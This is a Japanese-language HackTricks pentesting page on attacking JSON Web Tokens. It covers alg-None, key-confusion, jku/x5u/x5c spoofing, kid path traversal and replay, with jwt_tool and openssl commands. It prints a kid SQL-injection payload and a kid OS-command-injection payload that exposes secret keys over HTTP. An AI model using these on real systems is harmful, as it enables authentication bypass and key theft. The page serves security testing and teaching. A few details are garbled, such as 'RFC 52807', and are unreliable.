hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

22 KiB
Raw Blame History

JWTの脆弱性Json Web Tokens

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

ハッキングキャリアに興味がある方や解読不能なものをハックしたい方 - 採用中です!流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

この投稿の一部は素晴らしい投稿に基づいています: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTをペンテストするための素晴らしいツールの作者 https://github.com/ticarpi/jwt_tool

クイックウィン

jwt_toolAll Tests!モードで実行し、緑色の行を待ちます

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

もし幸運なら、ツールがWebアプリケーションがJWTを正しくチェックしていないケースを見つけるかもしれません

その後、プロキシでリクエストを検索するか、jwt_ toolを使用してそのリクエストで使用されたJWTをダンプすることができます

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Burp拡張機能SignSaboteurを使用する

Burp Extension SignSaboteurを使用して、BurpからJWT攻撃を実行することもできます。

データを改ざんせずに改ざんする

シグネチャをそのままにデータを改ざんし、サーバーがシグネチャを確認しているかどうかを確認できます。たとえば、ユーザー名を "admin" に変更してみてください。

トークンがチェックされているかどうか

JWTのシグネチャが検証されているかどうかを確認するには:

  • エラーメッセージが検証中を示唆している場合は、詳細なエラーに機密情報が含まれているか確認する必要があります。
  • 返されるページの変化も検証を示します。
  • 変化がない場合は検証が行われていないことを示し、この場合はペイロードクレームを改ざんして実験するタイミングです。

起源

トークンがサーバーサイドで生成されたかクライアントサイドで生成されたかを確認することが重要です。これはプロキシのリクエスト履歴を調べることで行います。

  • クライアントサイドから最初に表示されたトークンは、鍵がクライアントサイドのコードに露出している可能性があり、さらなる調査が必要です。
  • サーバーサイドで発生したトークンはセキュアなプロセスを示します。

期間

トークンが24時間以上続くかどうかを確認してください... 期限が切れないかもしれません。 "exp" フィールドがある場合は、サーバーがそれを正しく処理しているかどうかを確認してください。

HMACシークレットの総当たり攻撃

このページを参照してください。

アルゴリズムをNoneに変更

使用されるアルゴリズムを "None" に設定し、シグネチャ部分を削除します。

この脆弱性を試し、JWT内の異なる値を変更するためにBurp拡張機能 "JSON Web Token" を使用し、リクエストをRepeaterに送信し、"JSON Web Token"タブでトークンの値を変更できます。また、"Alg" フィールドの値を "None" に設定することもできます。

アルゴリズムをRS256非対称からHS256対称に変更するCVE-2016-5431/CVE-2016-10555

アルゴリズムHS256は、各メッセージを署名および検証するために秘密鍵を使用します。
アルゴリズムRS256は、メッセージに署名するために秘密鍵を使用し、認証には公開鍵を使用します。

アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。

その後、公開鍵を使用してRS256をHS256に変更することで、有効な署名を作成できます。これを実行するために、Webサーバーの証明書を取得できます。

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

ヘッダー内の新しい公開鍵

攻撃者はトークンのヘッダーに新しいキーを埋め込み、サーバーはこの新しいキーを使用して署名を検証しますCVE-2018-0114

これは「JSON Web Tokens」Burp拡張機能を使用して行うことができます。
リクエストをRepeaterに送信し、JSON Web Tokenタブで「CVE-2018-0114」を選択してリクエストを送信します

JWKSスプーフィング

この手順は、JWTトークンのセキュリティを評価する方法を詳細に説明しており、特に「jku」ヘッダークレームを使用しているトークンについて説明しています。このクレームは、トークンの検証に必要な公開鍵が含まれているJSON Web Key SetJWKSファイルにリンクする必要があります。

  • 「jku」ヘッダーを持つトークンの評価:
  • "jku"クレームのURLを検証して、適切なJWKSファイルにリンクしていることを確認します。
  • トークンの「jku」値を変更して、監視可能なトラフィックを許可する制御されたWebサービスに向ける。
  • HTTPインタラクションの監視:
  • 指定したURLへのHTTPリクエストを観察することで、サーバーが提供したリンクからキーを取得しようとする試みを確認できます。
  • このプロセスでjwt_toolを使用する場合、テストを容易にするためにjwtconf.iniファイルを個人のJWKSの場所に更新することが重要です。
  • jwt_toolのコマンド:
  • 次のコマンドを実行して、jwt_toolを使用してシナリオをシミュレートします:
python3 jwt_tool.py JWT_HERE -X s

Kidの問題の概要

kidとして知られるオプションのヘッダークレームは、特定のキーを識別するために使用され、特にトークン署名の検証のために複数のキーが存在する環境で重要となります。このクレームは、トークンの署名を検証するための適切なキーを選択するのに役立ちます。

"kid"を通じてキーを明らかにする

kidクレームがヘッダーに存在する場合、対応するファイルまたはそのバリエーションをWebディレクトリで検索することが推奨されます。たとえば、"kid":"key/12345"が指定されている場合、Webルートで /key/12345 および /key/12345.pem ファイルを検索する必要があります。

"kid"を使用したパス遍歴

kidクレームは、ファイルシステムを通過するために悪用される可能性があり、任意のファイルを選択することができるようになります。kidの値を変更して特定のファイルやサービスをターゲットにすることで、接続性をテストしたり、サーバーサイドリクエストフォージェリSSRF攻撃を実行したりすることが可能です。kidの値を変更して元の署名を保持しながらJWTを操作するには、jwt_toolの-Tフラグを使用します。以下に示すように:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

JWTのハッキング

予測可能なコンテンツを持つファイルを標的にすることで、有効なJWTを偽装することが可能です。たとえば、Linuxシステムの /proc/sys/kernel/randomize_va_space ファイルは値 2 を含むことが知られており、JWT生成の対称パスワードとして kid パラメータで 2 を使用できます。

"kid" を介したSQLインジェクション

kid クレームのコンテンツがデータベースからパスワードを取得するために使用される場合、kid ペイロードを変更することでSQLインジェクションが容易になります。JWT署名プロセスを変更するためにSQLインジェクションを使用する例のペイロードは次のとおりです

non-existent-index' UNION SELECT 'ATTACKER';-- -

この変更により、JWT署名に既知の秘密キー ATTACKER が使用されるようになります。

"kid" を介したOSインジェクション

kid パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオでは、リモートコード実行RCEの脆弱性が発生する可能性があります。kid パラメータにコマンドをインジェクトすることで、秘密キーを公開することが可能です。RCEとキーの公開を達成するための例のペイロードは次のとおりです

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u と jku

jku

jku は JWK Set URL の略です。
トークンが "jku" Header クレームを使用している場合は、提供されたURLを確認してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを指すURLである必要があります。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更します。

まず、新しい証明書と新しい秘密鍵・公開鍵を作成する必要があります。

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

その後、新しいJWTを作成するために、jwt.ioなどを使用できます。作成された公開鍵と秘密鍵を指定し、パラメータjkuを作成された証明書に向けます。 有効なjku証明書を作成するには、元の証明書をダウンロードして必要なパラメータを変更できます。

公開証明書からパラメータ"e"と"n"を取得することができます。

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL。PEM形式でエンコードされたX.509証明書形式の標準公開証明書のセットを指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。後続の証明書は、前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するにはトランスポートセキュリティが必要です。

このヘッダーをあなたがコントロールするURLに変更して、リクエストが受信されるかどうかを確認してください。その場合、JWTを改ざんすることができます。

あなたがコントロールする証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります。

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

その後、例えばjwt.ioを使用して、作成された公開鍵と秘密鍵を使用し、パラメータx5uを作成された.crt証明書に指定して新しいJWTを作成できます。

これらの脆弱性の両方をSSRFに悪用することもできます。

x5c

このパラメータには、Base64形式の証明書が含まれている場合があります:

攻撃者が自己署名証明書を生成し、対応する秘密鍵を使用して偽造トークンを作成し、"x5c"パラメータの値を新しく生成された証明書に置き換え、他のパラメータ、つまりn、e、x5tを変更すると、基本的に偽造トークンはサーバーによって受け入れられるようになります。

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

埋め込み公開鍵CVE-2018-0114

もしJWTに以下のシナリオのように公開鍵が埋め込まれている場合

次のnodejsスクリプトを使用すると、そのデータから公開鍵を生成することが可能です

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

新しい秘密鍵/公開鍵を生成し、新しい公開鍵をトークン内に埋め込んで新しい署名を生成することが可能です:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

このNode.jsスクリプトを使用して、「n」と「e」を取得できます

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

ES256: 同じノンスを使用して秘密鍵を明らかにする

いくつかのアプリケーションがES256を使用し、同じンスを使用して2つのJWTを生成する場合、秘密鍵を復元できます。

こちらは例です:ECDSA: 同じンスを使用して秘密鍵を明らかにするSECP256k1を使用

JTIJWT ID

JTIJWT IDクレームはJWTトークンの一意の識別子を提供します。トークンの再生を防ぐために使用できます。
ただし、IDの最大長が40001-9999である状況を想像してみてください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増やしている場合、これを悪用してリクエストを再生できます成功した再生ごとに10000リクエストを送信する必要があります

JWT登録済みクレーム

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

その他の攻撃

クロスサービスリレーアタック

一部のWebアプリケーションがトークンの生成と管理に信頼されたJWTサービスを利用していることが観察されています。同じJWTサービスの別のクライアントが受け入れたトークンが、そのJWTサービスの別のクライアントによって受け入れられた事例が記録されています。第三者サービスを介してJWTの発行や更新が観察された場合、同じユーザー名/メールアドレスを使用してそのサービスの別のクライアントにアカウントを登録する可能性が調査されるべきです。その後、取得したトークンをターゲットにリクエストして受け入れられるかどうかを確認するための試みを行うべきです。

  • トークンが受け入れられることで、任意のユーザーアカウントのスプーフィングが可能になる可能性が示唆される重大な問題があるかもしれません。ただし、第三者アプリケーションにサインアップする場合、広範なテストの許可が必要になる可能性があることに注意する必要があります。

トークンの有効期限チェック

トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な処理が必要です。他のユーザーのJWTをキャプチャして再生することで、そのユーザーのなりすましが可能になる場合があります。JWT RFCは、「exp」クレームを使用してトークンの有効期限を設定することで、JWTの再生攻撃を緩和することを推奨しています。さらに、アプリケーションによる関連するチェックの実装は、この値の処理と期限切れのトークンの拒否を確実にするために重要です。トークンに「exp」クレームが含まれている場合、テスト時間の制限が許す限り、トークンを保存して有効期限が切れた後に再生することが推奨されます。トークンの内容、タイムスタンプの解析、および有効期限のチェックUTCのタイムスタンプは、jwt_toolの-Rフラグを使用して読むことができます。

  • アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があることを示すセキュリティリスクが存在するかもしれません。

ツール

{% embed url="https://github.com/ticarpi/jwt_tool" %}

ハッキングキャリアに興味がある方や、解読不能なものを解読することに興味がある方 - 採用中です!流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法